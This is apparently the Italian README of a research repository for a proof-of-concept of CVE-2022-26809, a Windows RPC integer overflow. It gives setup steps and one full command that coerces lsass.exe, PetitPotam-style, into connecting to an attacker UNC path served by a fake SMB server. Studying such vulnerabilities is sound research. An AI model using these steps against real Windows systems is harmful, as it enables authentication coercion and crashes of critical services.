
Exploit proof-of-concept per CVE-2022-26809, una vulnerabilità di overflow intero nel runtime RPC di Windows. Include script trigger che utilizzano la coercizione del percorso UNC in stile PetitPotam contro lsass.exe e un server SMB fittizio per test di sfruttamento.
Questo repo è semplicemente una ricerca per la CVE, per un'analisi più dettagliata, fare riferimento qui.
AGGIORNAMENTO:19/05/2022
Questa analisi non è ancora stata completata....
AGGIORNAMENTO:22/05/2022
Post di HuanGMz e blog di corelight mostrano il vero punto vulnerabile:
OSF_CASSOCIATION::ProcessBindAckOrNak
Questa vulnerabilità viene attivata come CVE-2021-43893, quando si invia la richiesta ESFRPC a lsass.exe con percorso UNC, la vittima tenterà di accedere al target come client, quindi attiverà un overflow intero nell'API client
Se avete una soluzione migliore per attivare questa vulnerabilità, sentitevi liberi di inviare una issue o una pr :)
Poiché la vulnerabilità viene attivata come CVE-2021-43893, basta clonare il codice di .
Preparare l'ambiente proprio come qui:
fake_smb_server.py sul server attaccante dopo aver sostituito il rpcrt.py con quello originale(**Poiché la porta 445 è occupata da System su Windows, si consiglia di distribuire il servizio su Linux **)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe(Tuttavia, non sono riuscito a attivare BSoD, ma secondo windbg, l'overflow intero è stato attivato)Vecchia Descrizione
Qui c'è il codice di riproduzione per la vulnerabilità RPC di Windows CVE-2022-26809, e fa riferimento a https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello.
La mia versione di Python è 3.6.7
Non sono sicuro che GetCoalescedBuffer coinvolga il vero CVE-2022-26809, lo tengo solo per precauzione
il poc.py tenta solo di attivare la funzione vulnerabile OSF_SCALL::GetCoalescedBuffer, non causerebbe alcun crash perché l'overflow intero dword è troppo difficile da riprodurre. E rpcrt.py è il pacchetto Python impacket.dcerpc.v5.rpcrt, basta sostituirlo con l'originale per attivare la vulnerabilità (Ricordatevi di fare un backup dell'originale :) Credo che rpcrt.py abbia un sacco di bug).
Se non funziona, forse wireshark può aiutare a localizzare il bug.
se necessario, basta usare nmake per ricostruirlo